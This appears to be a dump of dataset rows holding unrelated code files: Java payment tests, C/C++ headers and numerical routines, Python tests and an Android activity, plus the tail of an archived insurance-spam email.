<font\ncolor=3D\"#ff0000\">75%</font></i></b></font> \n<p>\n<a\nhref=3D\"http://www.marketing-leader.com/user0202/termquotes/473400/index.h=\ntm\"><font\nface=3D\"arial\"\nsize=3D\"4\">\n<b>COMPARE YOUR COVERAGE</b></font></a>\n<p>\n<font face=3D\"times\" size=3D\"5\" color=3D\"#000000\">\nYou'll be able to compare rates and get a free\napplication in <i>less than a minute!</i></font>\n<p>\n<font face=3D\"arial\" size=3D\"5\" color=3D\"#ff0000\">\n<b>*Get your FREE instant quotes...<br>\n*Compare the lowest prices, then...<br>\n*Select a company and Apply Online.</b></font>\n<p>\n<a\nhref=3D\"http://www.marketing-leader.com/user0202/termquotes/473400/index.h=\ntm\"><font\nface=3D\"arial\"\nsize=3D\"5\">\n<b>GET A FREE QUOTE NOW!</b></font></a>\n<br>\n<font face=3D\"arial\" size=3D\"2\" color=3D\"#000000\">\n<i>You can't predict the future, but you can always\nprepare for it.</i></font>\n\n</center></TR></TABLE></CENTER><br><br>\n<font face=3D\"arial,verdana\" size=3D1.5 color=3D\"#8182AB\"><p\nalign=3D\"center\"><br><br>\n<a\nhref=3D\"http://www.marketing-leader.com/light/watch.asp\">to be\nexcluded from future contacts </a></p></font>\n</body>\n</html>\naster\n\n\n\n\n\nhttp://xent.com/mailman/listinfo/fork\n\n\n"} | 1,772 |
994 | <gh_stars>100-1000
# Enter your code here. Read input from STDIN. Print output to STDOUT
from collections import*
d={}
for i in range(int(input())):
word=input()
if word in d:
d[word]+=1
else:
d[word]=1
print(len(d))
print(*d.values())
| 124 |
930 | package com.foxinmy.weixin4j.base.test;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.util.Calendar;
import java.util.Date;
import org.junit.Assert;
import org.junit.Test;
import com.foxinmy.weixin4j.exception.WeixinException;
import com.foxinmy.weixin4j.http.weixin.XmlResult;
import com.foxinmy.weixin4j.model.WeixinPayAccount;
import com.foxinmy.weixin4j.payment.WeixinPayProxy;
import com.foxinmy.weixin4j.payment.mch.MchPayPackage;
import com.foxinmy.weixin4j.payment.mch.MchPayRequest;
import com.foxinmy.weixin4j.payment.mch.MerchantResult;
import com.foxinmy.weixin4j.payment.mch.Order;
import com.foxinmy.weixin4j.payment.mch.PrePay;
import com.foxinmy.weixin4j.payment.mch.RefundRecord;
import com.foxinmy.weixin4j.payment.mch.RefundResult;
import com.foxinmy.weixin4j.sign.WeixinPaymentSignature;
import com.foxinmy.weixin4j.sign.WeixinSignature;
import com.foxinmy.weixin4j.type.CurrencyType;
import com.foxinmy.weixin4j.type.IdQuery;
import com.foxinmy.weixin4j.type.IdType;
import com.foxinmy.weixin4j.type.TradeType;
import com.foxinmy.weixin4j.type.mch.BillType;
import com.foxinmy.weixin4j.type.mch.RefundAccountType;
import com.foxinmy.weixin4j.util.Consts;
/**
* 支付测试(商户平台)
*
* @className PayTest
* @author jinyu(<EMAIL>)
* @date 2016年1月30日
* @since JDK 1.7
* @see
*/
public class PayTest {
protected final static WeixinPayAccount ACCOUNT;
protected final static WeixinSignature SIGNATURE;
protected final static WeixinPayProxy PAY;
static {
ACCOUNT = new WeixinPayAccount("id", "支付秘钥", "商户号", "加载证书的密码,默认为商户号",
"证书文件路径");
SIGNATURE = new WeixinPaymentSignature(ACCOUNT.getPaySignKey());
PAY = new WeixinPayProxy(ACCOUNT);
}
@Test
public void queryOrder() throws WeixinException {
Order order = PAY.queryOrder(new IdQuery("BY2016010800025",
IdType.TRADENO));
Assert.assertEquals(Consts.SUCCESS, order.getReturnCode());
Assert.assertEquals(Consts.SUCCESS, order.getResultCode());
System.err.println(order);
String sign = order.getSign();
order.setSign(null);
String valiSign = SIGNATURE.sign(order);
System.err
.println(String.format("sign=%s,valiSign=%s", sign, valiSign));
Assert.assertEquals(valiSign, sign);
}
@Test
public void queryRefund() throws WeixinException {
RefundRecord record = PAY.queryRefund(new IdQuery("TT_1427183696238",
IdType.TRADENO));
Assert.assertEquals(Consts.SUCCESS, record.getReturnCode());
Assert.assertEquals(Consts.SUCCESS, record.getResultCode());
System.err.println(record);
String sign = record.getSign();
record.setSign(null);
String valiSign = SIGNATURE.sign(record);
System.err
.println(String.format("sign=%s,valiSign=%s", sign, valiSign));
Assert.assertEquals(valiSign, sign);
}
@Test
public void downbill() throws WeixinException, IOException {
Calendar c = Calendar.getInstance();
// c.set(Calendar.YEAR, 2016);
// c.set(Calendar.MONTH, 3);
// c.set(Calendar.DAY_OF_MONTH, 4);
c.add(Calendar.DAY_OF_MONTH, -1);
System.err.println(c.getTime());
OutputStream os = new FileOutputStream("/tmp/bill20160813.txt");
PAY.downloadBill(c.getTime(), BillType.ALL, os, null);
}
@Test
public void refund() throws WeixinException, IOException {
IdQuery idQuery = new IdQuery("TT_1427183696238", IdType.TRADENO);
RefundResult result = PAY.applyRefund(idQuery,
"TT_R" + System.currentTimeMillis(), 0.01d, 0.01d,
CurrencyType.CNY, "10020674", "退款描述",
RefundAccountType.REFUND_SOURCE_RECHARGE_FUNDS);
Assert.assertEquals(Consts.SUCCESS, result.getReturnCode());
Assert.assertEquals(Consts.SUCCESS, result.getResultCode());
System.err.println(result);
String sign = result.getSign();
result.setSign(null);
String valiSign = SIGNATURE.sign(result);
System.err
.println(String.format("sign=%s,valiSign=%s", sign, valiSign));
Assert.assertEquals(valiSign, sign);
}
@Test
public void nativePay() throws WeixinException {
MchPayPackage payPackageV3 = new MchPayPackage("native测试", "T0001",
0.1d, "notify_url", "127.0.0.1", TradeType.NATIVE, null, null,
"productId", null);
PrePay result = PAY.createPrePay(payPackageV3);
Assert.assertEquals(Consts.SUCCESS, result.getReturnCode());
Assert.assertEquals(Consts.SUCCESS, result.getResultCode());
System.err.println(result);
}
@Test
public void closeOrder() throws WeixinException {
MerchantResult result = PAY.closeOrder("D111");
Assert.assertEquals(Consts.SUCCESS, result.getReturnCode());
Assert.assertEquals(Consts.SUCCESS, result.getResultCode());
System.err.println(result);
String sign = result.getSign();
result.setSign(null);
String valiSign = SIGNATURE.sign(result);
System.err
.println(String.format("sign=%s,valiSign=%s", sign, valiSign));
Assert.assertEquals(valiSign, sign);
}
@Test
public void shortUrl() throws WeixinException {
String url = "weixin://wxpay/bizpayurl?xxxxxx";
String shortUrl = PAY.getPayShorturl(url);
System.err.println(shortUrl);
}
@Test
public void interfaceReport() throws WeixinException {
String interfaceUrl = "https://api.mch.weixin.qq.com/pay/unifiedorder";
int executeTime = 2500;
String outTradeNo = null;
String ip = "127.0.0.1";
Date time = new Date();
XmlResult returnXml = new XmlResult("SUCCESS", "");
returnXml.setResultCode("SUCCESS");
returnXml = PAY.reportInterface(interfaceUrl, executeTime, outTradeNo,
ip, time, returnXml);
Assert.assertEquals(Consts.SUCCESS, returnXml.getReturnCode());
Assert.assertEquals(Consts.SUCCESS, returnXml.getResultCode());
System.err.println(returnXml);
}
@Test
public void testMicroPay() throws WeixinException {
String authCode = "扫描码";
String body = "商品描述";
String outTradeNo = "M001";
double totalFee = 1d;
String createIp = "127.0.0.1";
MchPayRequest request = PAY.createMicroPayRequest(authCode, body,
outTradeNo, totalFee, createIp, null, null);
System.err.println(request);
}
} | 2,444 |
377 | <gh_stars>100-1000
//
// TTMapManager.h
// SatelliteEyes
//
// Created by <NAME> on 19/02/2012.
// Copyright (c) 2012 __MyCompanyName__. All rights reserved.
//
#import <Foundation/Foundation.h>
#import <CoreLocation/CoreLocation.h>
#import "TTMapImage.h"
@class Reachability;
static NSString *const TTMapManagerStartedLoad = @"TTMapManagerStartedLoad";
static NSString *const TTMapManagerFailedLoad = @"TTMapManagerFailedLoad";
static NSString *const TTMapManagerFinishedLoad = @"TTMapManagerFinishedLoad";
static NSString *const TTMapManagerLocationUpdated = @"TTMapManagerLocationUpdated";
static NSString *const TTMapManagerLocationLost = @"TTMapManagerLocationLost";
static NSString *const TTMapManagerLocationPermissionDenied = @"TTMapManagerLocationPermissionDenied";
@interface TTMapManager : NSObject <CLLocationManagerDelegate> {
CLLocationManager *locationManager;
CLLocation *lastSeenLocation;
dispatch_queue_t updateQueue;
Reachability *reachability;
}
- (void)start;
- (void)updateMapToCoordinate:(CLLocationCoordinate2D)coordinate force:(BOOL)force;
- (void)updateMap;
- (void)forceUpdateMap;
- (void)cleanCache;
@property (NS_NONATOMIC_IOSONLY, readonly, copy) NSURL *browserURL;
@end
| 398 |
346 | <reponame>stanislaw/textX
from __future__ import unicode_literals
from os.path import dirname, abspath, join
import textx.scoping.providers as scoping_providers
from textx import get_children_of_type
from textx import metamodel_from_file
from textx.scoping.tools import get_unique_named_object
def test_model_with_local_scope_and_circular_ref_via_two_models():
"""
Test for FQNGlobalRepo + circular references.
"""
#################################
# META MODEL DEF
#################################
my_meta_model = metamodel_from_file(
join(abspath(dirname(__file__)),
'components_model1', 'Components.tx'),
global_repository=True)
global_scope = scoping_providers.FQNGlobalRepo(
join(abspath(dirname(__file__)),
"components_model1", "example_?.components"))
my_meta_model.register_scope_providers({
"*.*": global_scope,
"Connection.from_port":
scoping_providers.RelativeName("from_inst.component.slots"),
"Connection.to_port":
scoping_providers.RelativeName("to_inst.component.slots")
})
#################################
# MODEL PARSING
#################################
my_model_a = my_meta_model.model_from_file(
join(abspath(dirname(__file__)),
"components_model1", "example_A.components"))
my_model_b = my_meta_model.model_from_file(
join(abspath(dirname(__file__)),
"components_model1", "example_B.components"))
a_my_a = get_unique_named_object(my_model_a, "mya")
a_my_b = get_unique_named_object(my_model_a, "myb")
b_my_a = get_unique_named_object(my_model_b, "mya")
b_my_b = get_unique_named_object(my_model_b, "myb")
assert a_my_a != b_my_a
assert a_my_b != b_my_b
assert a_my_a.component == b_my_a.component # same component "class"
assert a_my_b.component == b_my_b.component # same component "class"
a_connections = get_children_of_type("Connection", my_model_a)
b_connections = get_children_of_type("Connection", my_model_b)
a_connection = list(filter(
lambda x: x.from_inst == a_my_a and x.to_inst == a_my_b,
a_connections))
b_connection = list(filter(
lambda x: x.from_inst == b_my_a and x.to_inst == b_my_b,
b_connections))
assert len(a_connection) == 1
assert len(b_connection) == 1
#################################
# TEST MODEL
#################################
#################################
# END
#################################
| 1,048 |
369 | /* ---------------------------------------------------------------------------- */
/* Atmel Microcontroller Software Support */
/* SAM Software Package License */
/* ---------------------------------------------------------------------------- */
/* Copyright (c) 2014, Atmel Corporation */
/* */
/* All rights reserved. */
/* */
/* Redistribution and use in source and binary forms, with or without */
/* modification, are permitted provided that the following condition is met: */
/* */
/* - Redistributions of source code must retain the above copyright notice, */
/* this list of conditions and the disclaimer below. */
/* */
/* Atmel's name may not be used to endorse or promote products derived from */
/* this software without specific prior written permission. */
/* */
/* DISCLAIMER: THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR */
/* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF */
/* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE */
/* DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR ANY DIRECT, INDIRECT, */
/* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT */
/* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, */
/* OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF */
/* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING */
/* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, */
/* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */
/* ---------------------------------------------------------------------------- */
#ifndef _SAM_UART3_INSTANCE_
#define _SAM_UART3_INSTANCE_
/* ========== Register definition for UART3 peripheral ========== */
#if (defined(__ASSEMBLY__) || defined(__IAR_SYSTEMS_ASM__))
#define REG_UART3_CR (0x400E1C00U) /**< \brief (UART3) Control Register */
#define REG_UART3_MR (0x400E1C04U) /**< \brief (UART3) Mode Register */
#define REG_UART3_IER (0x400E1C08U) /**< \brief (UART3) Interrupt Enable Register */
#define REG_UART3_IDR (0x400E1C0CU) /**< \brief (UART3) Interrupt Disable Register */
#define REG_UART3_IMR (0x400E1C10U) /**< \brief (UART3) Interrupt Mask Register */
#define REG_UART3_SR (0x400E1C14U) /**< \brief (UART3) Status Register */
#define REG_UART3_RHR (0x400E1C18U) /**< \brief (UART3) Receive Holding Register */
#define REG_UART3_THR (0x400E1C1CU) /**< \brief (UART3) Transmit Holding Register */
#define REG_UART3_BRGR (0x400E1C20U) /**< \brief (UART3) Baud Rate Generator Register */
#define REG_UART3_CMPR (0x400E1C24U) /**< \brief (UART3) Comparison Register */
#define REG_UART3_WPMR (0x400E1CE4U) /**< \brief (UART3) Write Protection Mode Register */
#else
#define REG_UART3_CR (*(__O uint32_t*)0x400E1C00U) /**< \brief (UART3) Control Register */
#define REG_UART3_MR (*(__IO uint32_t*)0x400E1C04U) /**< \brief (UART3) Mode Register */
#define REG_UART3_IER (*(__O uint32_t*)0x400E1C08U) /**< \brief (UART3) Interrupt Enable Register */
#define REG_UART3_IDR (*(__O uint32_t*)0x400E1C0CU) /**< \brief (UART3) Interrupt Disable Register */
#define REG_UART3_IMR (*(__I uint32_t*)0x400E1C10U) /**< \brief (UART3) Interrupt Mask Register */
#define REG_UART3_SR (*(__I uint32_t*)0x400E1C14U) /**< \brief (UART3) Status Register */
#define REG_UART3_RHR (*(__I uint32_t*)0x400E1C18U) /**< \brief (UART3) Receive Holding Register */
#define REG_UART3_THR (*(__O uint32_t*)0x400E1C1CU) /**< \brief (UART3) Transmit Holding Register */
#define REG_UART3_BRGR (*(__IO uint32_t*)0x400E1C20U) /**< \brief (UART3) Baud Rate Generator Register */
#define REG_UART3_CMPR (*(__IO uint32_t*)0x400E1C24U) /**< \brief (UART3) Comparison Register */
#define REG_UART3_WPMR (*(__IO uint32_t*)0x400E1CE4U) /**< \brief (UART3) Write Protection Mode Register */
#endif /* (defined(__ASSEMBLY__) || defined(__IAR_SYSTEMS_ASM__)) */
#endif /* _SAM_UART3_INSTANCE_ */
| 2,310 |
933 | /*
* Copyright (C) 2020 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "src/traced/probes/system_info/system_info_data_source.h"
#include "perfetto/base/time.h"
#include "perfetto/ext/base/file_utils.h"
#include "perfetto/ext/base/string_splitter.h"
#include "perfetto/ext/base/string_utils.h"
#include "protos/perfetto/trace/system_info/cpu_info.pbzero.h"
#include "protos/perfetto/trace/trace_packet.pbzero.h"
namespace perfetto {
namespace {
// Key for default processor string in /proc/cpuinfo as seen on arm. Note the
// uppercase P.
const char kDefaultProcessor[] = "Processor";
// Key for processor entry in /proc/cpuinfo. Used to determine whether a group
// of lines describes a CPU.
const char kProcessor[] = "processor";
} // namespace
// static
const ProbesDataSource::Descriptor SystemInfoDataSource::descriptor = {
/* name */ "linux.system_info",
/* flags */ Descriptor::kFlagsNone,
};
SystemInfoDataSource::SystemInfoDataSource(
TracingSessionID session_id,
std::unique_ptr<TraceWriter> writer,
std::unique_ptr<CpuFreqInfo> cpu_freq_info)
: ProbesDataSource(session_id, &descriptor),
writer_(std::move(writer)),
cpu_freq_info_(std::move(cpu_freq_info)) {}
void SystemInfoDataSource::Start() {
auto packet = writer_->NewTracePacket();
packet->set_timestamp(static_cast<uint64_t>(base::GetBootTimeNs().count()));
auto* cpu_info = packet->set_cpu_info();
// Parse /proc/cpuinfo which contains groups of "key\t: value" lines separated
// by an empty line. Each group represents a CPU. See the full example in the
// unittest.
std::string proc_cpu_info = ReadFile("/proc/cpuinfo");
std::string::iterator line_start = proc_cpu_info.begin();
std::string::iterator line_end = proc_cpu_info.end();
std::string default_processor = "unknown";
std::string cpu_index = "";
uint32_t next_cpu_index = 0;
while (line_start != proc_cpu_info.end()) {
line_end = find(line_start, proc_cpu_info.end(), '\n');
if (line_end == proc_cpu_info.end())
break;
std::string line = std::string(line_start, line_end);
line_start = line_end + 1;
if (line.empty() && !cpu_index.empty()) {
PERFETTO_DCHECK(cpu_index == std::to_string(next_cpu_index));
auto* cpu = cpu_info->add_cpus();
cpu->set_processor(default_processor);
auto freqs_range = cpu_freq_info_->GetFreqs(next_cpu_index);
for (auto it = freqs_range.first; it != freqs_range.second; it++) {
cpu->add_frequencies(*it);
}
cpu_index = "";
next_cpu_index++;
continue;
}
auto splits = base::SplitString(line, ":");
if (splits.size() != 2)
continue;
std::string key =
base::StripSuffix(base::StripChars(splits[0], "\t", ' '), " ");
std::string value = base::StripPrefix(splits[1], " ");
if (key == kDefaultProcessor)
default_processor = value;
else if (key == kProcessor)
cpu_index = value;
}
packet->Finalize();
writer_->Flush();
}
void SystemInfoDataSource::Flush(FlushRequestID,
std::function<void()> callback) {
writer_->Flush(callback);
}
std::string SystemInfoDataSource::ReadFile(std::string path) {
std::string contents;
if (!base::ReadFile(path, &contents))
return "";
return contents;
}
} // namespace perfetto
| 1,419 |
668 | <gh_stars>100-1000
/*
* Copyright (c) 2017, 2018, Oracle and/or its affiliates.
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are
* permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
* endorse or promote products derived from this software without specific prior written
* permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
* GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
* OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package com.oracle.truffle.llvm.runtime.debug.type;
import com.oracle.truffle.llvm.runtime.debug.scope.LLVMSourceLocation;
public final class LLVMSourceBasicType extends LLVMSourceType {
private final Kind kind;
public LLVMSourceBasicType(String name, long size, long align, long offset, Kind kind, LLVMSourceLocation location) {
super(() -> name, size, align, offset, location);
this.kind = kind;
}
public Kind getKind() {
return kind;
}
@Override
public LLVMSourceType getOffset(long newOffset) {
return new LLVMSourceBasicType(getName(), getSize(), getAlign(), newOffset, kind, getLocation());
}
@Override
public String toString() {
return getName();
}
@Override
public boolean isAggregate() {
return false;
}
@Override
public int getElementCount() {
return 0;
}
@Override
public String getElementName(long i) {
return null;
}
@Override
public LLVMSourceType getElementType(long i) {
return null;
}
@Override
public LLVMSourceType getElementType(String name) {
return null;
}
public enum Kind {
UNKNOWN,
ADDRESS,
BOOLEAN,
FLOATING,
SIGNED,
SIGNED_CHAR,
UNSIGNED,
UNSIGNED_CHAR;
}
}
| 1,004 |
473 | /*
Copyright (c) 2009-2016, <NAME>
All rights reserved.
This file is part of Elemental and is under the BSD 2-Clause License,
which can be found in the LICENSE file in the root directory, or at
http://opensource.org/licenses/BSD-2-Clause
*/
namespace El {
namespace msquasitrsm {
template<typename F>
void LLNUnb( const Matrix<F>& L, const Matrix<F>& shifts, Matrix<F>& X )
{
EL_DEBUG_CSE
typedef Base<F> Real;
const Int m = X.Height();
const Int n = X.Width();
const F* LBuf = L.LockedBuffer();
F* XBuf = X.Buffer();
const Int ldl = L.LDim();
const Int ldx = X.LDim();
Int k=0;
while( k < m )
{
const bool in2x2 = ( k+1<m && LBuf[k+(k+1)*ldl] != F(0) );
if( in2x2 )
{
// Solve the 2x2 linear systems via 2x2 LQ decompositions produced
// by the Givens rotation
// | L(k,k)-shift L(k,k+1) | | c -conj(s) | = | gamma11 0 |
// | s c |
// and by also forming the bottom two entries of the 2x2 resulting
// lower-triangular matrix, say gamma21 and gamma22
//
// Extract the constant part of the 2x2 diagonal block, D
const F delta12 = LBuf[ k +(k+1)*ldl];
const F delta21 = LBuf[(k+1)+ k *ldl];
for( Int j=0; j<n; ++j )
{
const F delta11 = LBuf[ k + k *ldl] - shifts.Get(j,0);
const F delta22 = LBuf[(k+1)+(k+1)*ldl] - shifts.Get(j,0);
// Decompose D = L Q
Real c; F s;
const F gamma11 = Givens( delta11, delta12, c, s );
const F gamma21 = c*delta21 + s*delta22;
const F gamma22 = -Conj(s)*delta21 + c*delta22;
F* xBuf = &XBuf[j*ldx];
// Solve against L
xBuf[k ] /= gamma11;
xBuf[k+1] -= gamma21*xBuf[k];
xBuf[k+1] /= gamma22;
// Solve against Q
const F chi1 = xBuf[k ];
const F chi2 = xBuf[k+1];
xBuf[k ] = c*chi1 - Conj(s)*chi2;
xBuf[k+1] = s*chi1 + c*chi2;
// Update x2 := x2 - L21 x1
blas::Axpy
( m-(k+2), -xBuf[k ],
&LBuf[(k+2)+ k *ldl], 1, &xBuf[k+2], 1 );
blas::Axpy
( m-(k+2), -xBuf[k+1],
&LBuf[(k+2)+(k+1)*ldl], 1, &xBuf[k+2], 1 );
}
k += 2;
}
else
{
for( Int j=0; j<n; ++j )
{
F* xBuf = &XBuf[j*ldx];
xBuf[k] /= LBuf[k+k*ldl] - shifts.Get(j,0);
blas::Axpy
( m-(k+1), -xBuf[k], &LBuf[(k+1)+k*ldl], 1, &xBuf[k+1], 1 );
}
k += 1;
}
}
}
template<typename F>
void LLN( const Matrix<F>& L, const Matrix<F>& shifts, Matrix<F>& X )
{
EL_DEBUG_CSE
const Int m = X.Height();
const Int bsize = Blocksize();
for( Int k=0; k<m; k+=bsize )
{
const Int nbProp = Min(bsize,m-k);
const bool in2x2 = ( k+nbProp<m && L.Get(k+nbProp-1,k+nbProp) != F(0) );
const Int nb = ( in2x2 ? nbProp+1 : nbProp );
const Range<Int> ind1( k, k+nb ),
ind2( k+nb, m );
auto L11 = L( ind1, ind1 );
auto L21 = L( ind2, ind1 );
auto X1 = X( ind1, ALL );
auto X2 = X( ind2, ALL );
LLNUnb( L11, shifts, X1 );
Gemm( NORMAL, NORMAL, F(-1), L21, X1, F(1), X2 );
}
}
// For large numbers of RHS's, e.g., width(X) >> p
template<typename F>
void LLNLarge
( const AbstractDistMatrix<F>& LPre,
const AbstractDistMatrix<F>& shiftsPre,
AbstractDistMatrix<F>& XPre )
{
EL_DEBUG_CSE
const Int m = XPre.Height();
const Int bsize = Blocksize();
const Grid& g = LPre.Grid();
DistMatrixReadProxy<F,F,MC,MR> LProx( LPre );
DistMatrixReadProxy<F,F,VR,STAR> shiftsProx( shiftsPre );
DistMatrixReadWriteProxy<F,F,MC,MR> XProx( XPre );
auto& L = LProx.GetLocked();
auto& X = XProx.Get();
auto& shifts = shiftsProx.GetLocked();
DistMatrix<F,STAR,STAR> L11_STAR_STAR(g);
DistMatrix<F,MC, STAR> L21_MC_STAR(g);
DistMatrix<F,STAR,MR > X1_STAR_MR(g);
DistMatrix<F,STAR,VR > X1_STAR_VR(g);
for( Int k=0; k<m; k+=bsize )
{
const Int nbProp = Min(bsize,m-k);
const bool in2x2 = ( k+nbProp<m && L.Get(k+nbProp-1,k+nbProp) != F(0) );
const Int nb = ( in2x2 ? nbProp+1 : nbProp );
const Range<Int> ind1( k, k+nb ),
ind2( k+nb, m );
auto L11 = L( ind1, ind1 );
auto L21 = L( ind2, ind1 );
auto X1 = X( ind1, ALL );
auto X2 = X( ind2, ALL );
L11_STAR_STAR = L11; // L11[* ,* ] <- L11[MC,MR]
X1_STAR_VR.AlignWith( shifts );
X1_STAR_VR = X1; // X1[* ,VR] <- X1[MC,MR]
// X1[* ,VR] := L11^-1[* ,* ] X1[* ,VR]
LocalMultiShiftQuasiTrsm
( LEFT, LOWER, NORMAL, F(1), L11_STAR_STAR, shifts, X1_STAR_VR );
X1_STAR_MR.AlignWith( X2 );
X1_STAR_MR = X1_STAR_VR; // X1[* ,MR] <- X1[* ,VR]
X1 = X1_STAR_MR; // X1[MC,MR] <- X1[* ,MR]
L21_MC_STAR.AlignWith( X2 );
L21_MC_STAR = L21; // L21[MC,* ] <- L21[MC,MR]
// X2[MC,MR] -= L21[MC,* ] X1[* ,MR]
LocalGemm( NORMAL, NORMAL, F(-1), L21_MC_STAR, X1_STAR_MR, F(1), X2 );
}
}
// For medium numbers of RHS's, e.g., width(X) ~= p
template<typename F>
void LLNMedium
( const AbstractDistMatrix<F>& LPre,
const AbstractDistMatrix<F>& shiftsPre,
AbstractDistMatrix<F>& XPre )
{
EL_DEBUG_CSE
const Int m = XPre.Height();
const Int bsize = Blocksize();
const Grid& g = LPre.Grid();
DistMatrixReadProxy<F,F,MC,MR> LProx( LPre );
DistMatrixReadProxy<F,F,VR,STAR> shiftsProx( shiftsPre );
DistMatrixReadWriteProxy<F,F,MC,MR> XProx( XPre );
auto& L = LProx.GetLocked();
auto& X = XProx.Get();
auto& shifts = shiftsProx.GetLocked();
DistMatrix<F,STAR,STAR> L11_STAR_STAR(g);
DistMatrix<F,MC, STAR> L21_MC_STAR(g);
DistMatrix<F,MR, STAR> X1Trans_MR_STAR(g);
DistMatrix<F,MR, STAR> shifts_MR_STAR( shifts ),
shifts_MR_STAR_Align(g);
for( Int k=0; k<m; k+=bsize )
{
const Int nbProp = Min(bsize,m-k);
const bool in2x2 = ( k+nbProp<m && L.Get(k+nbProp-1,k+nbProp) != F(0) );
const Int nb = ( in2x2 ? nbProp+1 : nbProp );
const Range<Int> ind1( k, k+nb ),
ind2( k+nb, m );
auto L11 = L( ind1, ind1 );
auto L21 = L( ind2, ind1 );
auto X1 = X( ind1, ALL );
auto X2 = X( ind2, ALL );
L11_STAR_STAR = L11; // L11[* ,* ] <- L11[MC,MR]
X1Trans_MR_STAR.AlignWith( X2 );
Transpose( X1, X1Trans_MR_STAR );
// X1^T[MR,* ] := X1^T[MR,* ] L11^-T[* ,* ]
// = (L11^-1[* ,* ] X1[* ,MR])^T
shifts_MR_STAR_Align.AlignWith( X1Trans_MR_STAR );
shifts_MR_STAR_Align = shifts_MR_STAR;
LocalMultiShiftQuasiTrsm
( RIGHT, LOWER, TRANSPOSE,
F(1), L11_STAR_STAR, shifts_MR_STAR_Align, X1Trans_MR_STAR );
Transpose( X1Trans_MR_STAR, X1 );
L21_MC_STAR.AlignWith( X2 );
L21_MC_STAR = L21; // L21[MC,* ] <- L21[MC,MR]
// X2[MC,MR] -= L21[MC,* ] X1[* ,MR]
LocalGemm
( NORMAL, TRANSPOSE, F(-1), L21_MC_STAR, X1Trans_MR_STAR, F(1), X2 );
}
}
// For small numbers of RHS's, e.g., width(X) < p
template<typename F,Dist colDist,Dist shiftColDist,Dist shiftRowDist>
void LLNSmall
( const DistMatrix<F, colDist,STAR >& L,
const DistMatrix<F,shiftColDist,shiftRowDist>& shifts,
DistMatrix<F, colDist,STAR >& X )
{
EL_DEBUG_CSE
EL_DEBUG_ONLY(
if( L.ColAlign() != X.ColAlign() )
LogicError("L and X are assumed to be aligned");
)
const Int m = X.Height();
const Int bsize = Blocksize();
const Grid& g = L.Grid();
DistMatrix<F,STAR,STAR> L11_STAR_STAR(g), X1_STAR_STAR(g),
shifts_STAR_STAR(shifts);
for( Int k=0; k<m; k+=bsize )
{
const Int nbProp = Min(bsize,m-k);
const bool in2x2 = ( k+nbProp<m && L.Get(k+nbProp-1,k+nbProp) != F(0) );
const Int nb = ( in2x2 ? nbProp+1 : nbProp );
const Range<Int> ind1( k, k+nb ),
ind2( k+nb, m );
auto L11 = L( ind1, ind1 );
auto L21 = L( ind2, ind1 );
auto X1 = X( ind1, ALL );
auto X2 = X( ind2, ALL );
L11_STAR_STAR = L11; // L11[* ,* ] <- L11[VC,* ]
X1_STAR_STAR = X1; // X1[* ,* ] <- X1[VC,* ]
// X1[* ,* ] := (L11[* ,* ])^-1 X1[* ,* ]
LocalMultiShiftQuasiTrsm
( LEFT, LOWER, NORMAL,
F(1), L11_STAR_STAR, shifts_STAR_STAR, X1_STAR_STAR );
// X2[VC,* ] -= L21[VC,* ] X1[* ,* ]
LocalGemm( NORMAL, NORMAL, F(-1), L21, X1_STAR_STAR, F(1), X2 );
}
}
} // namespace msquasitrsm
} // namespace El
| 5,152 |
1,796 | <gh_stars>1000+
package github.nisrulz.sample.usingbottomnavigationbar;
import android.os.Bundle;
import androidx.annotation.IdRes;
import androidx.appcompat.app.AppCompatActivity;
import android.util.Log;
import android.widget.TextView;
import com.roughike.bottombar.BottomBar;
import com.roughike.bottombar.BottomBarTab;
import com.roughike.bottombar.OnTabReselectListener;
import com.roughike.bottombar.OnTabSelectListener;
public class MainActivity extends AppCompatActivity {
private String LOGTAG = "BottomNavigationBar";
